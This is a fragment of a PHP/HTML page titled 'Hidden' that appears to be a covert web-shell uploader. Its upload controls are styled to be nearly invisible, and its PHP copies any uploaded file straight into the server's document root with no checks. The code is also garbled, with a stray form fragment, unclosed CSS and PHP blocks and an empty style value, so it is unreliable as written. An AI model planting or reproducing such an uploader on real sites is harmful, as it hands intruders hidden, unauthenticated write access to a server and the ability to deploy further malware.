Hidden
Hidden
DOCTYPE HTML>
<html>
<head>
<style type="text/css">
html {
background: ;
}
input[type=submit] {
width: 10px;
height: 10px;
color: #DCDCDC;
background: transparent;
border: 30px green;
margin-left: 20px;
text-align: center;
}
input[type=file] {
width: 10px;
height: 5px;
color: white;
background: white;
border: 20px green;
margin-left: 20px;
text-align: center;
</style>
<?php
</form>";
$root = $_SERVER['DOCUMENT_ROOT'];
$files = $_FILES['idx_file']['name'];
$dest = $root.'/'.$files;
if(isset($_POST['upload'])) {
if(is_writable($root)) {
if(@copy($_FILES['idx_file']['tmp_name'], $dest)) {
$web = "http://".$_SERVER['HTTP_HOST']."/";
} else {
}
} else {
if(@copy($_FILES['idx_file']['tmp_name'], $files)) {
} else {
echo "Gagal";
?>